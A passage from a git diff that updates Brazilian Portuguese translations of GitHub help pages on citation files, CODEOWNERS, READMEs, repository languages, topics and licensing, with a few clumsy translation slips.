+1. Entre na sua conta de usuário que tem permissões de proprietário ou de administrador na organização proprietária do repositório.
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md
index 860e24322d..3c8406b9d2 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files.md
@@ -71,21 +71,21 @@ Ao adicionar um arquivo `CITATION.cff` ao branch padrão do repositório, ele se
 
 Se você prefere que as informações de citação de {% data variables.product.prodname_dotcom %} vinculem outro recurso, como um artigo de pesquisa, você poderá usar a substituição de `preferred-citation` no CFF pelos seguintes tipos.
 
-| Recurso                           | CFF type                                                                                             | BibTeX type      | APA annotation      |
-| --------------------------------- | ---------------------------------------------------------------------------------------------------- | ---------------- | ------------------- |
-| Journal article/paper             | `artigo`                                                                                             | `@article`       |                     |
-| Livro                             | `livro`                                                                                              | `@book`          |                     |
-| Booklet (bound but not published) | `pamphlet`                                                                                           | `@booklet`       |                     |
-| Conference article/paper          | `conference-paper`                                                                                   | `@inproceedings` | [Conference paper]  |
-| Conference proceedings            | `conference`, `proceedings`                                                                          | `@proceedings`   |                     |
-| Data set                          | `data`, `database`                                                                                   | `@misc`          | [Data set]          |
-| Magazine article                  | `magazine-article`                                                                                   | `@article`       |                     |
-| Manual                            | `manual`                                                                                             | `@manual`        |                     |
-| Misc/generic/other                | `generic`, any other CFF type                                                                        | `@misc`          |                     |
-| Newspaper article                 | `newspaper-article`                                                                                  | `@article`       |                     |
-| Software                          | `software`, `software-code`, `software-container`, `software-executable`, `software-virtual-machine` | `@software`      | [Computer software] |
-| Report/technical report           | `report`                                                                                             | `@techreport`    |                     |
-| Unpublished                       | `unpublished`                                                                                        | `@unpublished`   |                     |
+| Recurso                               | Tipo CFF                                                                                             | Tipo BibTeX      | Anotações da APA           |
+| ------------------------------------- | ---------------------------------------------------------------------------------------------------- | ---------------- | -------------------------- |
+| Artigo de jornal/documento            | `artigo`                                                                                             | `@article`       |                            |
+| Livro                                 | `livro`                                                                                              | `@book`          |                            |
+| Folheto (vinculado mas não publicado) | `pamphlet`                                                                                           | `@booklet`       |                            |
+| Artigo de conferência/documento       | `conference-paper`                                                                                   | `@inproceedings` | [Documento de conferência] |
+| Atas de conferência                   | `conference`, `proceedings`                                                                          | `@proceedings`   |                            |
+| Conjunto de dados                     | `data`, `database`                                                                                   | `@misc`          | [Conjunto de dados]        |
+| Artigo de revista                     | `magazine-article`                                                                                   | `@article`       |                            |
+| Manual                                | `manual`                                                                                             | `@manual`        |                            |
+| Outros                                | `genérico`, qualquer outro tipo de CFF                                                               | `@misc`          |                            |
+| Artigo de jornal                      | `newspaper-article`                                                                                  | `@article`       |                            |
+| Software                              | `software`, `software-code`, `software-container`, `software-executable`, `software-virtual-machine` | `@software`      | [Software de computador]   |
+| Relatório/relatório técnico           | `relatório`                                                                                          | `@techreport`    |                            |
+| Não publicado                         | `não publicado`                                                                                      | `@unpublished`   |                            |
 
 Arquivo de CITATION.cff estendido que descreve o software, mas vinculando a um artigo de pesquisa como a citação preferida:
 
@@ -152,7 +152,7 @@ Lisa, M., & Bot, H. (2021). Meu software de pesquisa incrível. Journal Title, 1
 
 ## Citando um conjunto de dados
 
-If your repository contains a dataset, you can set `type: dataset` at the top level of your `CITATION.cff` file to produce a data citation string output in the {% data variables.product.prodname_dotcom %} citation prompt.
+Se seu repositório contiver um conjunto de dados, você poderá definir o `type: dataset` na parte superior do seu arquivo `CITATION.cff` para produzir uma saída de frase de citação de dados na solicitação de citação de {% data variables.product.prodname_dotcom %}.
 
 ## Outros arquivos de citação
 
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
index d5d45325ef..356f260ada 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
@@ -1,6 +1,6 @@
 ---
-title: About code owners
-intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository.
+title: Sobre proprietários do código
+intro: Você pode usar um arquivo CODEOWNERS para definir indivíduos ou equipes que são responsáveis pelo código em um repositório.
 redirect_from:
   - /articles/about-codeowners
   - /articles/about-code-owners
@@ -15,61 +15,62 @@ versions:
 topics:
   - Repositories
 ---
-People with admin or owner permissions can set up a CODEOWNERS file in a repository.
 
-The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership.
+As pessoas com permissões de administrador ou proprietário podem configurar um arquivo CODEOWNERS em um repositório.
 
-## About code owners
+As pessoas que você escolhe como proprietários do código devem ter permissões de gravação para o repositório. Quando o proprietário do código é uma equipe, essa equipe deverá ser visível e ter permissões de gravação, ainda que todos os membros individuais da equipe já tenham permissões de gravação diretamente, por meio da associação da organização ou por meio de outra associação à equipe.
 
-Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)."
+## Sobre proprietários do código
 
-When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)."
+Solicita-se automaticamente que os proprietários do código revisem quando alguém abre um pull request que modifica o código que possuem. Solicita-se automaticamente que os proprietários do código revejam os rascunhos de pull requests. Para obter mais informações sobre pull requests em rascunho, consulte "[Sobre pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)". Solicita-se automaticamente que os proprietários do código revejam os rascunhos de pull requests. Se você converter um pull request em rascunho, as pessoas que já assinaram as notificações não terão suas assinaturas canceladas automaticamente. Para obter mais informações, consulte "[Alterar o stage de um pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)".
 
-If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}.
+Quando alguém com permissões de administrador ou proprietário tiver habilitado revisões obrigatórias, se desejar, ele também poderá exigir aprovação de um proprietário do código para que o autor possa fazer merge de uma pull request no repositório. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)".
 
-![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png)
+Se um arquivo tiver um proprietário do código, você poderá ver quem é o proprietário do código antes de abrir um pull request. No repositório, é possível pesquisar o arquivo e passar o mouse sobre o {% octicon "shield-lock" aria-label="The edit icon" %}.
 
-## CODEOWNERS file location
+![Proprietário do código para um arquivo em um repositório](/assets/images/help/repository/code-owner-for-a-file.png)
 
-To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners.
+## Local do arquivo CODEOWNERS
 
-Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch.
+Para usar um arquivo CODEOWNERS, crie um novo arquivo denominado `CODEOWNERS` na raiz, `docs/` ou no diretório `.github/` do repositório, no branch em que deseja adicionar os proprietários do código.
 
-For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`.
+Cada arquivo CODEOWNERS atribui os proprietários do código para um único branch no repositório. Dessa forma, você pode atribuir diferentes proprietários de códigos para diferentes branches, como `@octo-org/codeowners-team` para uma base de código no branch-padrão e `@octocat` para um site do {% data variables.product.prodname_pages %} no branch de `gh-pages`.
+
+Para que os proprietários do código recebam solicitações de revisão, o arquivo CODEOWNERS deve estar no branch base da pull request. Por exemplo, se você atribuir `@octocat` como o proprietário do código para arquivos *.js* no branch `gh-pages` do seu repositório, `@octocat` receberá solicitações de revisão quando uma pull request com alterações nos arquivos *.js* for aberta entre o branch head e `gh-pages`.
 
 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %}
-## CODEOWNERS file size
+## Tamanho do arquivo CODEOWNERS
 
-CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request.
+Os arquivos CODEOWNERS devem ter menos de 3 MB. Um arquivo CODEOWNERS acima deste limite não será carregado, o que significa que as informações do proprietário do código não serão mostradas e não será solicitado que os proprietários do código apropriado revise as alterações em um pull request.
 
-To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. 
+Para reduzir o tamanho do seu arquivo CODEOWNERS, considere o uso de padrões curinga para consolidar múltiplas entradas em uma única entrada.
 {% endif %}
 
-## CODEOWNERS syntax
+## Sintaxe de CODEOWNERS
 
-A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files, with [some exceptions](#syntax-exceptions). The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`.
+Um arquivo CODEOWNERS usa um padrão que segue a maioria das mesmas regras usadas nos arquivos [gitignore](https://git-scm.com/docs/gitignore#_pattern_format), com [algumas exceções](#syntax-exceptions). O padrão é seguido por um ou mais nomes de usuário ou nomes de equipe do {% data variables.product.prodname_dotcom %} usando o formato padrão `@username` ou `@org/team-name`. Os usuários devem ter acessso de `leitura` ao repositório e as equipes devem ter acesso explícito de `gravação`, mesmo que os integrantes da equipe já tenham acesso. Você também pode se referir a um usuário por um endereço de e-mail que foi adicionado à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, por exemplo `user@example.com`.
 
-If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews.
-### Example of a CODEOWNERS file
+Se qualquer linha do seu arquivo CODEOWNERS contiver uma sintaxe inválida, o arquivo não será detectado e não será usado para solicitar revisões.
+### Exemplo de um arquivo CODEOWNERS
 ```
-# This is a comment.
-# Each line is a file pattern followed by one or more owners.
+# Este é um comentário.
+# Cada linha é um padrão de arquivo seguido por um ou mais proprietários.
 
-# These owners will be the default owners for everything in
-# the repo. Unless a later match takes precedence,
-# @global-owner1 and @global-owner2 will be requested for
-# review when someone opens a pull request.
+# Esses proprietários serão os proprietários padrão para tudo no
+# repositório. A menos que uma correspondência posterior tenha precedência,
+# @global-owner1 e @global-owner2 serão solicitados para
+# revisão quando alguém abrir uma pull request.
 *       @global-owner1 @global-owner2
 
-# Order is important; the last matching pattern takes the most
-# precedence. When someone opens a pull request that only
-# modifies JS files, only @js-owner and not the global
-# owner(s) will be requested for a review.
+# A ordem é importante; o último padrão de correspondência tem
+# prioridade. Quando alguém abre uma pull request que
+# modifica apenas arquivos JS, somente @js-owner, e não o(s)
+# proprietário(s) global(is), será solicitado para uma revisão.
 *.js    @js-owner
 
-# You can also use email addresses if you prefer. They'll be
-# used to look up users just like we do for commit author
-# emails.
+# Você também pode usar endereços de e-mail se preferir. Eles serão
+# usados para procurar usuários assim como fazemos com e-mails do
+# autor do commit.
 *.go docs@example.com
 
 # Teams can be specified as code owners as well. Teams should
@@ -83,13 +84,13 @@ If any line in your CODEOWNERS file contains invalid syntax, the file will not b
 # subdirectories.
 /build/logs/ @doctocat
 
-# The `docs/*` pattern will match files like
-# `docs/getting-started.md` but not further nested files like
+# O padrão `docs/*` corresponderá a arquivos como
+# `docs/getting-started.md`, mas a nenhum outro arquivo aninhado como
 # `docs/build-app/troubleshooting.md`.
 docs/*  docs@example.com
 
-# In this example, @octocat owns any file in an apps directory
-# anywhere in your repository.
+# Neste exemplo, @octocat tem qualquer arquivo no diretório apps
+# em qualquer lugar do seu repositório.
 apps/ @octocat
 
 # In this example, @doctocat owns any file in the `/docs`
@@ -103,16 +104,16 @@ apps/ @octocat
 /apps/ @octocat
 /apps/github 
 ```
-### Syntax exceptions
-There are some syntax rules for gitignore files that do not work in CODEOWNERS files:
-- Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment
-- Using `!` to negate a pattern
-- Using `[ ]` to define a character range
+### Exceções de sintaxe
+Existem algumas regras de sintaxe para arquivos gitignore que não funcionam em arquivos CODEOWNERS:
+- Fugir de um padrão que começa com `#` usando `\` para que seja tratado como um padrão e não como um comentário
+- Usar `!` para negar um padrão
+- Usar `[ ]` para definir um intervalo de caracteres
 
-## CODEOWNERS and branch protection
-Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." 
+## Proteção de branch e de CODEOWNERS
+Os proprietários do repositório podem adicionar regras de proteção de branch para garantir que o código alterado seja revisado pelos proprietários dos arquivos alterados. Para obter mais informações, consulte "[Sobre branches protegidos](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)."
 
-### Example of a CODEOWNERS file
+### Exemplo de um arquivo CODEOWNERS
 ```
 # In this example, any change inside the `/apps` directory
 # will require approval from @doctocat.
@@ -128,10 +129,10 @@ Repository owners can add branch protection rules to ensure that changed code is
 ```
 
 
-## Further reading
+## Leia mais
 
-- "[Creating new files](/articles/creating-new-files)"
-- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
-- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
+- "[Criar arquivos](/articles/creating-new-files)"
+- "[Convidar colaboradores para um repositório pessoal](/articles/inviting-collaborators-to-a-personal-repository)"
+- "[Gerenciar o acesso de um indivíduo a um repositório da organização](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[Gerenciar o acesso da equipe a um repositório da organização](/articles/managing-team-access-to-an-organization-repository)"
+- "[Exibir uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
index bd1c73488f..91d7781e00 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
@@ -1,6 +1,6 @@
 ---
-title: About READMEs
-intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.'
+title: Sobre READMEs
+intro: 'Você pode adicionar um arquivo README ao seu repositório para informar outras pessoas por que seu projeto é útil, o que elas podem fazer com o projeto e como elas podem usá-lo.'
 redirect_from:
   - /articles/section-links-on-readmes-and-blob-pages
   - /articles/relative-links-in-readmes
@@ -15,22 +15,23 @@ versions:
 topics:
   - Repositories
 ---
-## About READMEs
 
-You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions.
+## Sobre READMEs
 
-For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+É possível adicionar um arquivo README a um repositório para comunicar informações importantes sobre o seu projeto. Um README, junto com uma licença de repositório{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, arquivo de citação{% endif %}{% ifversion fpt or ghec %}, diretrizes de contribuição e um código de conduta{% elsif ghes %} e diretrizes de contribuição{% endif %}, comunicam as expectativas para o seu projeto e ajudam você a gerenciar as contribuições.
 
-A README is often the first item a visitor will see when visiting your repository. README files typically include information on:
-- What the project does
-- Why the project is useful
-- How users can get started with the project
-- Where users can get help with your project
-- Who maintains and contributes to the project
+Para obter mais informações sobre como fornecer diretrizes para o seu projeto, consulte {% ifversion fpt or ghec %}"[Adicionar um código de conduta ao seu projeto](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)e {% endif %}"[Configurar o seu projeto para contribuições saudáveis](/communities/setting-up-your-project-for-healthy-contributions)".
 
-If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors.
+Um README, muitas vezes, é o primeiro item que um visitante verá ao visitar seu repositório. Os arquivos README geralmente incluem informações sobre:
+- O que o projeto faz
+- Por que o projeto é útil
+- Como os usuários podem começar a usar o projeto
+- Onde os usuários podem obter ajuda com seu projeto
+- Quem mantém e contribui com o projeto
 
-![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png)
+Se você colocar o arquivo README na raiz do repositório, `docs`, ou no diretório `.github` oculto, o {% data variables.product.product_name %} reconhecerá e apresentará automaticamente o README aos visitantes do repositório.
+
+![Página principal do repositório github/scientist e seu arquivo README](/assets/images/help/repository/repo-with-readme.png)
 
 {% ifversion fpt or ghes or ghec %}
 
@@ -38,31 +39,31 @@ If you put your README file in your repository's root, `docs`, or hidden `.githu
 
 {% endif %}
 
-![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png)
+![Arquivo README no nome de usuário/repositório do nome de usuário](/assets/images/help/repository/username-repo-with-readme.png)
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-## Auto-generated table of contents for README files
+## Índice gerado automaticamente para arquivos README
 
-For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %}  menu icon at the top left of the rendered page.
+Para a visualização interpretada de qualquer arquivo Markdown em um repositório, incluindo arquivos README {% data variables.product.product_name %} irá gerar automaticamente um índice com base nos títulos da seção. Você pode visualizar o índice para um arquivo LEIAME, clicando no ícone de menu {% octicon "list-unordered" aria-label="The unordered list icon" %} no canto superior esquerdo da página interpretada.
 
-![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png)
+![README com TOC gerado automaticamente](/assets/images/help/repository/readme-automatic-toc.png)
 
 {% endif %}
 
-## Section links in README files and blob pages
+## Links de seção nos arquivos README e páginas blob
 
 {% data reusables.repositories.section-links %}
 
-## Relative links and image paths in README files
+## Links relativos e caminhos de imagem em arquivos README
 
 {% data reusables.repositories.relative-links %}
 
 ## Wikis
 
-A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
+Um README deve conter apenas as informações necessárias para desenvolvedores começarem a usar e a contribuir para o seu projeto. A documentação mais longa é mais adequada para wikis. Para obter mais informações, consulte "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)."
 
-## Further reading
+## Leia mais
 
-- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)"
-- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)"
+- "[Adicionar um arquivo a um repositório](/articles/adding-a-file-to-a-repository)"
+- "[Tornar READMEs legíveis](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" da 18F
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
index be5c459c90..3b656ea894 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md
@@ -1,6 +1,6 @@
 ---
-title: About repository languages
-intro: The files and directories within a repository determine the languages that make up the repository. You can view a repository's languages to get a quick overview of the repository.
+title: Sobre linguagens do repositório
+intro: Os arquivos e diretórios em um repositório determinam as linguagens que compõem o repositório. É possível exibir linguagens de um repositório para obter uma visão geral rápida do repositório.
 redirect_from:
   - /articles/my-repository-is-marked-as-the-wrong-language
   - /articles/why-isn-t-my-favorite-language-recognized
@@ -17,13 +17,14 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Repository languages
+shortTitle: Linguagens do repositório
 ---
-{% data variables.product.product_name %} uses the open source [Linguist library](https://github.com/github/linguist) to
-determine file languages for syntax highlighting and repository statistics. Language statistics will update after you push changes to your default branch.
 
-Some files are hard to identify, and sometimes projects contain more library and vendor files than their primary code. If you're receiving incorrect results, please consult the Linguist [troubleshooting guide](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) for help.
+{% data variables.product.product_name %} usa [Biblioteca Linguist](https://github.com/github/linguist) a de código aberto para
+determinar as linguagens de arquivo para destacar a sintaxe e estatísticas do repositório. As estatísticas da linguagem serão atualizadas após você fazer push de alterações no seu branch-padrão.
 
-## Markup languages
+Alguns arquivos são difíceis de identificar e, às vezes, os projetos contêm mais arquivos de fornecedor e biblioteca do que código primário. Se estiver recebendo resultados incorretos, consulte o [guia de solução de problemas](https://github.com/github/linguist/blob/master/docs/troubleshooting.md) do Linguist para obter ajuda.
 
-Markup languages are rendered to HTML and displayed inline using our open-source [Markup library](https://github.com/github/markup). At this time, we are not accepting new markup languages to show within {% data variables.product.product_name %}. However, we do actively maintain our current markup languages. If you see a problem, [please create an issue](https://github.com/github/markup/issues/new).
+## Linguagens markup
+
+As linguagens markup são renderizadas para HTML e exibidas em linha usando nossa [Biblioteca de markup](https://github.com/github/markup) de código aberto. Neste momento, não estamos aceitando novas linguagens markup a serem mostradas no {% data variables.product.product_name %}. No entanto, mantemos de maneira ativa nossas linguagens markup atuais. Em caso de dificuldades, [crie um problema](https://github.com/github/markup/issues/new).
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
index 48c0c4d4bf..bc6665738c 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md
@@ -1,6 +1,6 @@
 ---
-title: Classifying your repository with topics
-intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.'
+title: Classificar repositório com tópicos
+intro: 'Para ajudar outras pessoas a encontrar seu projeto e a contribuir com ele, você pode adicionar tópicos ao repositório relacionados à intenção do projeto, área de assunto, grupos de afinidade ou outras características importantes.'
 redirect_from:
   - /articles/about-topics
   - /articles/classifying-your-repository-with-topics
@@ -13,30 +13,28 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Classify with topics
+shortTitle: Classificar com tópicos
 ---
-## About topics
 
-With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}.
+## Sobre tópicos
 
-![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png)
+Com tópicos, você pode explorar repositórios em uma área de assunto específica, encontrar projetos com os quais contribuir e descobrir novas soluções para um problema específico. Os tópicos aparecem na página principal de um repositório. É possível clicar no nome de um tópico para {% ifversion fpt or ghec %}ver tópicos relacionados e uma lista de outros repositórios classificados com esse tópico{% else %}pesquisar outros repositórios com esse tópico{% endif %}.
 
-To browse the most used topics, go to https://github.com/topics/.
+![Página principal do repositório de teste mostrando tópicos](/assets/images/help/repository/os-repo-with-topics.png)
 
-{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %}
+Para procurar os tópicos mais usados, vá para https://github.com/topics/.
 
-Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %}
+{% ifversion fpt or ghec %}Você pode contribuir com o conjunto de tópicos apresentados do {% data variables.product.product_name %} no repositório [github/explore](https://github.com/github/explore). {% endif %}
 
-{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results.
+Os administradores de repositório podem adicionar qualquer tópico que desejarem a um repositório. Os tópicos úteis para classificar um repositório incluem a finalidade pretendida do repositório, área de assunto, comunidade ou linguagem.{% ifversion fpt or ghec %}Além disso, o {% data variables.product.product_name %} analisa o conteúdo do repositório público e gera tópicos sugeridos que os administradores de repositório podem aceitar ou rejeitar. O conteúdo do repositório privado não é analisado e não recebe sugestões de tópico.{% endif %}
 
-You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)."
+Os repositórios {% ifversion fpt %}público e privado{% elsif ghec or ghes %}público, privado e interno{% elsif ghae %}privado e interno{% endif %} podem ter tópicos, embora você veja apenas repositórios privados aos quais você tem acesso nos resultados de pesquisa de tópicos.
 
-## Adding topics to your repository
+Você pode pesquisar repositórios que são associados a um tópico específico. Para obter mais informações, consulte "[Pesquisar repositórios](/search-github/searching-on-github/searching-for-repositories#search-by-topic)". Também é possível pesquisar uma lista de tópicos no {% data variables.product.product_name %}. Para obter mais informações, consulte "[Pesquisar tópicos](/search-github/searching-on-github/searching-topics)".
+
+## Adicionar tópicos ao repositório
 
 {% data reusables.repositories.navigate-to-repo %}
-2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}.
-  ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png)
-3. Under "Topics", type the topic you want to add to your repository, then type a space.
-  ![Form to enter topics](/assets/images/help/repository/add-topic-form.png)
-4. After you've finished adding topics, click **Save changes**.
-  !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
+2. À direita de "Sobre", clique em {% octicon "gear" aria-label="The Gear icon" %}. ![Ícone de engrenagem na página principal de um repositório](/assets/images/help/repository/edit-repository-details-gear.png)
+3. Em "Tópicos", digite o tópico que você deseja adicionar ao seu repositório e, em seguida, digite um espaço. ![Formulário para inserir tópicos](/assets/images/help/repository/add-topic-form.png)
+4. Depois que acabar de adicionar tópicos, clique em **Salvar alterações**. ![Botão de "Salvar alterações" em "Editar detalhes do repositório"](/assets/images/help/repository/edit-repository-details-save-changes-button.png)
diff --git a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
index 3ac3c54bdd..a77f839c31 100644
--- a/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
+++ b/translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Licensing a repository
-intro: 'Public repositories on GitHub are often used to share open source software. For your repository to truly be open source, you''ll need to license it so that others are free to use, change, and distribute the software.'
+title: Licenciar um repositório
+intro: 'Os repositórios públicos no GitHub são usados frequentemente para compartilhar softwares de código aberto. Para que seu repositório seja realmente de código aberto, você precisará licenciá-lo para que outros tenham a liberdade de usar, alterar e distribuir o software.'
 redirect_from:
   - /articles/open-source-licensing
   - /articles/licensing-a-repository
@@ -13,86 +13,86 @@ versions:
 topics:
   - Repositories
 ---
-## Choosing the right license
+  ## Escolher a licença ideal
 
-We created [choosealicense.com](https://choosealicense.com), to help you understand how to license your code. A software license tells others what they can and can't do with your source code, so it's important to make an informed decision.
